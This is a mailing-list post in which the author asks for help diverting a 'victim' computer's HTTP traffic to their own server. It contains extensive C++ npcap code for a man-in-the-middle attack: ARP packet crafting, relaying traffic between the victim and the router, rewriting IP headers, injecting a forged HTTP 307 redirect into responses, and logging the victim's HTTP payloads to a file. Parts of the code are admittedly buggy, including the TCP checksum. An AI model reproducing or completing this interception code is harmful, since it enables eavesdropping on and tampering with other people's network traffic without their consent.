[Winpcap-users] Divert traffic to own NIC by external means

Reznicencu Sergiu sergiureznicencu at gmail.com
Sat Oct 20 21:42:51 UTC 2018


Hi. I am trying to make a packet capture tool using npcap. What I want to
do is capture the http traffic from a pc "victim" and divert it to my own
server (xampp) on my local machine.
I have aleady implemented the code for checksum (ip/tcp although it still
has some issues-I just couldn't find a complete implementation in C++
online). Actually I already managed to capture the traffic and replace the
http headers with a 302 reponse(moved temporaly).

I also know that I can't just send the packet with my ip and my mac and
expect the NIC to pick it. I know pcap_sendpacket just writes on the wire
(it talks to the connected machine which in my case is the router). No
problem. I can ask the router to resend the packet to me. I can set:
     -the destination mac to the one of the router (to look as if it is
intended for him),
     -source mac doesn't matter(mine or the victim's..it only shows the
previous machine in the "path"),
      -the destination ip will be set to mine (the router will look in his
table and see my ip and the associated mac and will  create a new packet
which is destined to me by mac )
       -and the source ip will the victim's (so that when my computer gets
the packet and xampp gives a response ,the OS will know to which ip it will
send the answer).

Is anything wrong with my approach or am I missing an easier method?

I know the internet is "dried-out" of npcap code,tcp and ip checksum
methods so this is the code I used(the checksum might still have a problem
with the byte order):



struct EthHeader {
    uint8_t dest[6];
    uint8_t src[6];
    uint16_t ethertype;
};

struct IpHeader {
    u_char  ihl;        // Version (4 bits) + Internet header length (4
bits)
    u_char  tos;            // Type of service
    u_short len;           // Total length
    u_short frag_id; // Identification
    u_short frag_offs;       // Flags (3 bits) + Fragment offset (13 bits)
    u_char  ttl;            // Time to live
    u_char  proto;          // Protocol
    u_short csum;            // Header checksum
    uint8_t src[4];      // Source address
    uint8_t dest[4];     // Destination address
};

struct ArpHeader {
    uint16_t htype;
    uint16_t ptype;
    uint8_t hlen;
    uint8_t plen;
    uint16_t op;
    uint8_t sender_mac[6];
    uint8_t sender_ip[4];
    uint8_t target_mac[6];
    uint8_t target_ip[4];
};

typedef u_int tcp_seq;

struct TcpHeader {
    u_short source_port;    /* source port */
    u_short dest_port;    /* destination port */
    tcp_seq th_seq;        /* sequence number */
    tcp_seq th_ack;        /* acknowledgement number */
    u_char th_offx2;    /* data offset, rsvd */
#define TH_OFF(th)    (((th)->th_offx2 & 0xf0) >> 4)
    u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
    u_short th_win;        /* window */
    u_short th_sum;        /* checksum */
    u_short th_urp;        /* urgent pointer */
};

//Not used
struct tcp_pseudo /*the tcp pseudo header*/
{
    uint32_t src_addr;
    uint32_t dst_addr;
    uint8_t zero;
    uint8_t proto;
    uint16_t length;
} pseudohead;


void fill_arp_packet(uint8_t *packet, const uint8_t *victim_ip, const
uint8_t *victim_mac, const uint8_t *my_ip, const uint8_t *my_mac) {
    EthHeader *eth = (EthHeader *)packet;
    ArpHeader *arp = (ArpHeader *)(packet + sizeof(EthHeader));

    memcpy(eth->dest, victim_mac, 6);
    memcpy(eth->src, my_mac, 6);
    eth->ethertype = htons(0x0806);

    arp->htype = htons(0x0001);
    arp->ptype = htons(0x0800);
    arp->hlen = 6;
    arp->plen = 4;
    arp->op = htons(1);        // arp request
    memcpy(arp->sender_mac, my_mac, 6);
    memcpy(arp->sender_ip, my_ip, 4);
    memcpy(arp->target_mac, victim_mac, 6);
    memcpy(arp->target_ip, victim_ip, 4);
}

//Calculate IP checksum

//Works pretty well...no incorrect checksum till now
unsigned short csum(const char *buf, unsigned size)
{
    unsigned sum = 0;
    int i;

    /* Accumulate checksum */
    for (i = 0; i < size - 1; i += 2) {
        unsigned short word16 = *(unsigned short *)&buf[i];
        sum += word16;
    }

    /* Handle odd-sized case */
    if (size & 1) {
        unsigned short word16 = (unsigned char)buf[i];
        sum += word16;
    }

    /* Fold to get the ones-complement result */
    while (sum >> 16) sum = (sum & 0xFFFF) + (sum >> 16);

    /* Invert to get the negative in ones-complement arithmetic */
    return ~sum;
}

//Not so well..a few checksum incorrect...solve it if you can
u_short compute_tcp_checksum(IpHeader *pIph, unsigned short  *ipPayload,
int payload_size) {
    unsigned short prot_tcp = 6;
    int len_tcp = payload_size;
    long sum;
    int i;
    sum = 0;

    /* Check if the tcp length is even or odd.  Add padding if odd. */
    if ((len_tcp % 2) == 1) {
        ipPayload[len_tcp] = 0;  // Empty space in the ip buffer should be
0 anyway.
        len_tcp += 1; // incrase length to make even.
    }

    /*
    //If src and dest are declared as int32
    uint32_t src = ntohl(pIph->src);
    uint32_t dest = ntohl(pIph->dest);
    sum += (((unsigned short *)&src)[0]);
    sum += (((unsigned short *)&src)[1]);
    sum += (((unsigned short *)&dest)[0]);
    sum += (((unsigned short *)&dest)[1]);
    sum += payload_size; // already in host format.
    sum += prot_tcp; // already in host format.*/

    sum+= (256*pIph->src[0]+pIph->src[1]);//Big endian?
    sum += (256*pIph->src[2] + pIph->src[3]);
    sum +=(256*pIph->dest[0] +  pIph->dest[1]);
    sum += (256*pIph->dest[2] +  pIph->dest[3]);

    sum += payload_size; // already in host format....do not replace with
len_tcp..payload is always payload and len_tcp changes when payload byte
count is odd
    sum += prot_tcp; // already in host format.
    /*
      calculate the checksum for the tcp header and payload
      len_tcp represents number of 8-bit bytes,
      we are working with 16-bit words so divide len_tcp by 2.
    */
    for (i = 0; i < (len_tcp / 2); i++) {
        sum += ntohs(ipPayload[i]);
    }

    // keep only the last 16 bits of the 32 bit calculated sum and add the
carries
    sum = (sum & 0xFFFF) + (sum >> 16);
    sum += (sum >> 16);

    // Take the bitwise complement of sum
    sum = ~sum;

    return htons(((unsigned short)sum));
}

//Ip and Tcp headers ARE NOT ALWAYS sizeof(struct)! There might be
"options" that make the header bigger...calculate with this function
int getIpHeadSize(IpHeader *ip) {
    return (ip->ihl & 0xF) * 4;
}
int getTcpHeadSize(TcpHeader *tcp) {
    return ((tcp->th_offx2 & 0xF0) >> 4) * 4;
}

//Pointer to where the ip layer starts
IpHeader* getIp(const uint8_t *data) {
    return (IpHeader *)(data + sizeof(EthHeader));
}
//Pointer to where the tcp layer starts
TcpHeader* getTCP(const uint8_t *data) {
    IpHeader *ip = getIp(data);
    int ip_len = (ip->ihl & 0xF) * 4;
    return (TcpHeader*)(data + sizeof(EthHeader) + ip_len);
}

//Copy tcp payload to buffer
void getPayload(char buffer[65000], pcap_pkthdr *header, const uint8_t
*data) {
    uint8_t ip_len = getIpHeadSize(getIp(data));
    uint8_t tcp_len = getTcpHeadSize(getTCP(data));

    __int64 payload_size = (__int64)header->caplen- (sizeof(EthHeader)+
ip_len + tcp_len);// (__int64)header->caplen - 0x42;// -sizeof(EthHeader) -
sizeof(IpHeader) - sizeof(TcpHeader);
    if (payload_size <= 0 || payload_size < 20) {
        buffer[0] = 0;
        return;
    }

    memcpy(buffer, data + (sizeof(EthHeader) + ip_len + tcp_len),
min(payload_size, 65000-1));
    buffer[min(payload_size, 65000-1)] = 0;
}

//Return pointer to tcp payload
const uint8_t* getPayloadPointer(pcap_pkthdr *header, const uint8_t *data) {
    uint8_t ip_len = getIpHeadSize(getIp(data));
    uint8_t tcp_len = getTcpHeadSize(getTCP(data));

    __int64 payload_size = (__int64)header->caplen - (sizeof(EthHeader) +
ip_len + tcp_len);// (__int64)header->caplen - 0x42;// -sizeof(EthHeader) -
sizeof(IpHeader) - sizeof(TcpHeader);

    if (payload_size <= 0 || payload_size < 20) {
        return NULL;
    }

    return (data + (sizeof(EthHeader) + ip_len + tcp_len));
}

//Write tcp payload to file
void writeHTTPDump(FILE *HttpDump,pcap_pkthdr *header,const uint8_t
*packet) {
    //fprintf(HttpDump, "TCP Header\n");
    //fprintf(HttpDump, " |-Source Port : %u\n", ntohs(tcp->src_port));
    //fprintf(HttpDump, " |-Destination Port : %u\n",
ntohs(tcp->dest_port));
    //fprintf(HttpDump, " |-Sequence Number : %u\n", ntohl(tcp->sequence));

    char payload_string[65000];

    IpHeader *ip = getIp(packet);
    TcpHeader *tcp = getTCP(packet);


    getPayload(payload_string,header, packet);

    if (strlen(payload_string) < 10) return;

    fprintf(HttpDump, "%s\n", payload_string);
    fprintf(HttpDump, "%d\n\n", strlen(payload_string));
    fflush(HttpDump);
}

//usually target is router
//oneway=read-listens for packets coming from victim_ip
//otherway-inject-alters packets coming from target(router)
void handle_packet(pcap_t *pcap, pcap_pkthdr *header, const uint8_t *data,
const uint8_t *victim_mac, const uint8_t *victim_ip,
    const uint8_t *target_mac, const uint8_t *my_mac, const uint8_t *my_ip)
{
    if (header->caplen != header->len || header->len > 65536) {
        return;
    }
    if (header->len < sizeof(EthHeader) + sizeof(IpHeader)) {
        return;
    }

    EthHeader *eth = (EthHeader *)data;
    if (htons(eth->ethertype) != 0x0800) {
        return;
    }
    if ((memcmp(eth->src, victim_mac, 6) != 0 && memcmp(eth->src,
target_mac, 6) != 0) || memcmp(eth->dest, my_mac, 6) != 0) {
        return;
    }

    IpHeader *ip = getIp(data);
    // || memcmp(ip->dest, my_ip, 4) == 0
    //if ((memcmp(ip->src, victim_ip, 4) != 0 && memcmp(ip->dest,
victim_ip, 4) != 0)) {
    //    return;
    //}
    if ((memcmp(ip->src, victim_ip, 4) != 0 && memcmp(ip->dest, victim_ip,
4) != 0) || memcmp(ip->dest, my_ip, 4) == 0) {
        return;
    }


    //if not mode specified DO NOT change packets..used just for wireshark
    if(oneway || otherway)
        switch (ip->proto) //Check the Protocol and do accordingly...
        {
            case 1: //ICMP Protocol
                break;

            case 2: //IGMP Protocol
                break;

            case 6: //TCP Protocol
            {
                TcpHeader *tcp = getTCP(data);
                if (otherway) {

                    char buffer[65000];
                    getPayload(buffer, header, data);

                    const uint8_t *payload_addr = getPayloadPointer(header,
data);
                    if (payload_addr == NULL) break;

                    if (strlen(buffer) > 10 && strstr(buffer,"HTTP/1.1 200
OK")==buffer) {
                        uint8_t new_packet[65536];

                        memcpy(new_packet, data, header->len);
                        TcpHeader *new_tcp =getTCP(new_packet);
                        IpHeader *new_ip = getIp(new_packet);
                        int ip_len = getIpHeadSize(new_ip);

                        /*char header[65000]="";
                        char *temp_buff = buffer;
                        for (int i = 0; i < strlen(buffer)-1; i++) {
                            if (buffer[i] == '\r' && buffer[i + 1] == '\n')
{
                                strncpy_s(header+strlen(header), 65000,
temp_buff, i );
                                i += 1;
                            }
                        }*/

                        char inject_http[100] = "HTTP/1.1 307\r\nLocation:
http://www.google.ro\r\n\r\n";

strcpy_s((char*)getPayloadPointer(header,new_packet),65000,inject_http);
                        std::cout << "Redirecting "<<
ip_to_str(new_ip->src)<<" to google.ro" << std::endl;
                        //inject_http[0] = 0;


                        pcap_pkthdr new_header;
                        new_header.caplen = (getPayloadPointer(header,
new_packet) - new_packet) + strlen(inject_http);
                        new_header.len = new_header.caplen;
                        new_header.ts = header->ts;


                        new_ip->len =htons( new_header.caplen -
sizeof(EthHeader));
                        new_ip->csum = 0;
                        new_ip->csum = csum((char*)(new_packet +
sizeof(EthHeader)), ip_len);

                        new_tcp->th_sum = 0;
                        u_short csum=compute_tcp_checksum(new_ip, (unsigned
short*)(new_tcp), (new_header.len - sizeof(EthHeader) - ip_len));


                        new_tcp->th_sum = csum;


                        header = &new_header;
                        data = new_packet;
                    }
                } else if (oneway) {
                    if (memcmp(eth->src, victim_mac, 6) == 0 &&
(ntohs(tcp->dest_port) == 80 || ntohs(tcp->dest_port) == 8080)) {
                        writeHTTPDump(header, data);
                    }
                }
            }
                break;

            case 17: //UDP Protocol
                break;

            default: //Some Other Protocol like ARP etc.
                break;
        }


    /*Ethernet struct:
        uint8_t dest[6];
        uint8_t src[6];
    */
    uint8_t new_packet[65536];
    memcpy(new_packet, data, header->len);

    if (memcmp(eth->src, victim_mac, 6) == 0) {
        if (ip->proto != 0x06) {
            //other packets
            memcpy(new_packet, target_mac, 6);
            memcpy(new_packet+6, my_mac, 6);
        } else {
            //tcp
            //destined to router
            //but the ip is mine..so the router will resend it to me

            memcpy(new_packet, target_mac, 6);//destination:router
            memcpy(new_packet + 6, my_mac, 6);//source:me(or victim)

            IpHeader *newIp = getIp(new_packet);
            TcpHeader *newTcp = getTCP(new_packet);

            newIp->csum = 0;
            memcpy(newIp->dest, my_ip, 4);
            memcpy(newIp->src, victim_ip, 4);
            newIp->csum = csum((char*)(new_packet + sizeof(EthHeader)),
getIpHeadSize(newIp));

            newTcp->th_sum = 0;
            u_short csum =compute_tcp_checksum(newIp, (unsigned
short*)(newTcp), (header->len - sizeof(EthHeader) -
getIpHeadSize(newIp)));//difference between corect checksum and this is
exactly 0x6
            newTcp->th_sum = csum;

        }
    } else {
        memcpy(new_packet, victim_mac, 6);
        memcpy(new_packet+6, my_mac, 6);
    }

    if (pcap_sendpacket(pcap, new_packet, header->len) != 0) {
        fprintf(stderr, "Error forwarding packet: %s\n", pcap_geterr(pcap));
        return;
    }
}
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://www.winpcap.org/pipermail/winpcap-users/attachments/20181021/a8c9aaf9/attachment-0001.html>


More information about the Winpcap-users mailing list